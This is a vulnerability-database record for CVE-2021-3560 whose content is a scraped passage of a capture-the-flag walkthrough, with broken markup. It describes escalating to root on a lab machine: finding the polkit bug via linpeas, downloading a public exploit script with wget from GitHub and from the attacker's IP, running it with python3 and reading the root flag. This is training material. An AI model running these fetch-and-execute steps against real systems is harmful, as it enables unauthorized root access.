{"uuid": "d20974c8-1eae-4923-94ed-37d644ad023a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81155", "content": "Fxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png Privilege Escalation&lt;o:pFrom the linpeas output, we saw few CVEs appeared as red which means these CVEs could be the potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications.&lt;o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4mioMBWAM4aVHF_j5SLhXbpZZlag4Fl3AnvohQOqOHsexxAbjDUmZHoa6C1eoICQhfsicM8OtpGfOXzrTMRb1yGxLjTLsgNLFkjLzMmjQS6IZF-jjTICZjSX2ZRdhXqnapOIolXwjOctTke6DRHOzw8ki7zTidH8V4_6iKEOVACyBRVFYMXWMEYZGjg/s16000/21.png PolicyKit Exploit: CVE-2021-3560&lt;o:pAfter searching those exploits, we have found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits works similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Hacking articles which has a very clear instructions to exploit it. The full article is available in the below link:&lt;o:p https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/&lt;o:p\n\nBackground of the vulnerability can be found here:&lt;o:p https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/&lt;o:p\n\nReference of the exploit we have used here:&lt;o:p https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py&lt;o:p\n\nWe simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.\u00a0 We used wget command to download the exploit from the GitHub, you may use other utility as well such as curl.&lt;o:p Command used to download:&lt;o:pwget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py&lt;o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png On the target side we downloaded the CVE-2021-3560.pyexploit to the target /tmp directory with wget command. Then we execute the python script with python3. &lt;o:p Command used:&lt;o:pOn target side:&lt;o:p wget 10.10.14.12/ CVE-2021-3560.py&lt;o:ppython3 CVE-2021-3560.py&lt;o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png Root Flag&lt;o:pAfter successfully execution of the script, it spawned a root shell. Now we can grab root flag from the root directory. &lt;o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png Conclusion:This machine was fun and was great source of learning, where we have learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chat bot feature abuse, file transfer, file permissions, importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.&lt;o:p\n\nThank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!&lt;o:p", "creation_timestamp": "2026-09-05T03:00:05.918605Z"}